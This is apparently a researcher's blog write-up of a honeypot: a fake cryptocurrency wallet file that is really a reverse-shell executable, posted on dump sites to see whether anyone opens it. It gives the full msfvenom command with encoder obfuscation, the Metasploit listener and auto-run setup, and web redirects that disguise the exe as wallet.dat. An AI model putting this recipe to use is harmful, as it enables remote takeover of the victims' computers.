Stealing Cryptocurrency Wallet
This started me thinking about setting up a simple honeypot, pretending to be a self-decompressing crypto wallet archive and see if criminals would actually open that file, hoping it to be an unprotected crypto wallet.
- Announce a “wallet.dat” / “wallet.zip” on public dump sites;
- Host the file on a public webserver;
- Have a callback mechanism that informs me when the file is retrieved;
- Have a callback mechanism that informs me when the file is opened.
The first three steps are easy to accomplish but the last step is more difficult. One of the most straightforward solutions to setup a call back is using Metasploit. It happens to be that I also needed to brush up my knowledge of the Metasploit framework so this seemed as a perfect opportunity.
Shift in exercise goals
A crypto wallet (essentially a secret key) is almost always protected with a passphrase. The absence of such a passphrase should be a dead give-away for an attacker that the file is not a crypto wallet. If this fact is ignored there still remains the obstacle that a simple verification (PE header, file info) will tell the downloader that the file is not a crypto wallet but an exe file.
I decided not to focus that much on the crypto wallet part and change the goal of the exercise : “do attackers(?) download files from untrusted sources and open these files on their desktop?”.
TL;DR : No, not a single user / attacker did this.
Setting up a callback via msfvenom
The first step is creating a file that connects back (creates a reverse shell) to a given IP address and network port. This is something that you can do with msfvenom.
I created an exe that opens a TCP shell to my control host on port tcp/443 (HTTPS). Some corporate networks allow outbound traffic on tcp/443 so this is a good choice, and better than for example port tcp/1234 or any other unusual port. One of the disadvantages is that the listener on tcp/443 will also capture ‘normal’ scan results for open webservers that have nothing to do with this experiment.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=a.b.c.d LPORT=443 -b "\x00" -e x86/shikata_ga_nai -i 200 -f exe -o /tmp/1.exe
The above command will generate an exe file that, if all goes as planned, will start a reverse shell on tcp/443 to the host a.b.c.d.
- -a 86 : create a payload for the x86 platform
- -p : the payload to use (a reverse TCP shell)
- -b : bad characters to avoid
- -e : the encoder to use (to do some basic obfuscation
- -i : the number of iterations the encoder has to run
- -f : the output format (an exe file)
- -o : the name of the output file
Note that you can use an existing exe to add the ‘exploit’ code to an exe template (you do this with the -x option).
When the resulting exe gets executed on a client, you basically get a reverse shell and can issue any command you like. For this exercise I only needed to grab the system information from which the exe was launched.
Using meterpreter to accept the reverse shell callbacks
The next thing we have to do is setting up Metasploit to listen to the incoming reverse shells. Because I did not want to monitor the reverse shell sessions manually this had to be an automated process :
- Execute information gathering commands upon connect;
- Restart listening for new reverse shell connections when the current connection is closed;
- Log the output to a text file.
Auto execute a script in Metasploit
First you have to create a file that will always be executed when a client connects (this is the information gathering part). The file can contain for example
sysinfo ps localtime getuid getsid getwd getproxy getprivs
The above commands will return system information, running processes and current privileges on the remote client.
Start the Metasploit console and the exploit multi handler
msfconsole msf > use exploit/multi/handler
Output all information to a text file (in this case wallet.spool).
msf exploit(handler) > spool /home/ubuntu/wallet.spool
Set a reverse shell as payload and listen for incoming connections
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST a.b.c.d msf exploit(handler) > set LPORT 443
Restart listening for a reverse shell when a connection is closed
msf exploit(handler) > set ExitOnSession false
Execute a script when a client connects
msf exploit(handler) > set AutorunScript multi_console_command -r /home/ubuntu/autoruncommands.rc
Start the listener
msf exploit(handler) > run -j
Publish and announce the file
I stored the file in the webserver directory and did a redirect for all requests for wallet.dat, wallet.zip to the file wallet.exe.
Redirect "/wallet.zip" "/wallet.exe" Redirect "/wallet.dat" "/wallet.exe" Redirect "/wallet_backup.dat" "/wallet.exe" Redirect "/wallet_backup.dat.1" "/wallet.exe" Redirect "/bitcoin_wallet.dat" "/wallet.exe"
I then announced the file on some public dump sites. And waited.
Waiting for connections
The file was retrieved 37 times in total. Remarkably, the first requests for the file where in minutes after publishing it in a dump site. These are probably crawlers that fetch possibly interesting information from dump sites. If you’re interested in these type of crawlers, have a look at AIL framework – Analysis Information Leak framework.
The browser identification strings (these can be easily falsified) were
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:57.0) Gecko/20100101 Firefox/57.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (compatible) python-requests/2.7.0 CPython/2.7.5 Linux/3.10.0-514.el7.x86_64 python-requests/2.18.4 Wget/1.17.1 (linux-gnu)
But the final goal of the exercise was to see if there was a callback from a client that opened the file. I had the experiment running for 8 full days but not a single callback request came through.
Some of the requests were clearly scripted but other requests could have been done manually. I did not trace back from where the requests were done.
A conclusions is that attackers (at least the few that downloaded the file) do not blindly execute these files on their desktop, not even in a sandbox 😉 .